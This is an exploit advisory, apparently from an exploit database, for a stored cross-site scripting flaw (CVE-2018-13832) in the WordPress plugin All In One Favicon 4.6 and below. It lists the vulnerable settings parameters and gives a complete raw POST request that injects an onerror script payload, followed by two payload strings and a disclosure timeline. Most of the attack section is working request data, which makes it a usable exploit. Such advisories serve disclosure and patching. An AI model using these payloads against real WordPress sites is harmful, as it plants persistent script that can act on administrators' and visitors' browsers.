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WordPress All In One Favicon 4.6 Plugin - Cross-Site Scripting Vulnerability
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# Exploit Title: WordPress Plugin All In One Favicon <= 4.6 - Authenticated Multiple XSS Persistent # Exploit Author: Javier Olmedo # Website: https://hackpuntes.com/ # Vendor Homepage: http://www.techotronic.de/ # Software Link: https://wordpress.org/plugins/all-in-one-favicon/ # Version/s: 4.6 and below # Patched Version: unpatched # CVE : 2018-13832 # WPVULNDB: https://wpvulndb.com/vulnerabilities/9099 Plugin description: All In One Favicon adds favicons to your site and your admin pages. You can either use favicons you already uploaded or use the builtin upload mechanism to upload a favicon to your WordPress installation. Description: WordPress Plugin All In One Favicon before 4.6 allows remote authenticated users to execute javascript code through XSS Persistent attacks. Technical details: The following parameters are vulnerable: backendApple-Text backendICO-Text backendPNG-Text backendGIF-Text frontendApple-Text frontendICO-Text frontendPNG-Text frontendGIF-Text Proof of Concept (PoC): The following POST request will cause it to display an alert in the browser when it runs as an authenticated user with permissions: POST /wordpress/wp-admin/admin-post.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/wordpress/wp-admin/options-general.php?page=all-in-one-favicon%2Fall-in-one-favicon.php Content-Type: multipart/form-data; boundary=---------------------------168911549614148 Content-Length: 3407 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------168911549614148 Content-Disposition: form-data; name="_wpnonce" 9df031414d -----------------------------168911549614148 Content-Disposition: form-data; name="_wp_http_referer" /wordpress/wp-admin/options-general.php?page=all-in-one-favicon%2Fall-in-one-favicon.php -----------------------------168911549614148 Content-Disposition: form-data; name="option_page" aio-favicon_settings -----------------------------168911549614148 Content-Disposition: form-data; name="aio-favicon_settings[frontendICO-text]" "><img src=a onerror=alert(1)> -----------------------------168911549614148 Content-Disposition: form-data; name="action" aioFaviconUpdateSettings -----------------------------168911549614148 Content-Disposition: form-data; name="aioFaviconUpdateSettings" Guardar cambios -----------------------------168911549614148 Content-Disposition: form-data; name="action" aioFaviconUpdateSettings -----------------------------168911549614148 Content-Disposition: form-data; name="aio-favicon_settings[removeLinkFromMetaBox]" true -----------------------------168911549614148 Content-Disposition: form-data; name="action" aioFaviconUpdateSettings -----------------------------168911549614148-- Payloads: "><img src=a onerror=alert(1)> "><img src=a onerror=alert(String.fromCharCode(88,83,83))> Timeline: 15/03/2018 I send the report. (no answer) 27/05/2018 I send the report, again. (no answer) 10/07/2018 Public disclosure. References: https://hackpuntes.com/cve-2018-13832-wordpress-plugin-all-in-one-favicon-4-6-autenticado-multiples-cross-site-scripting-persistentes/ # 0day.today [2024-11-15] #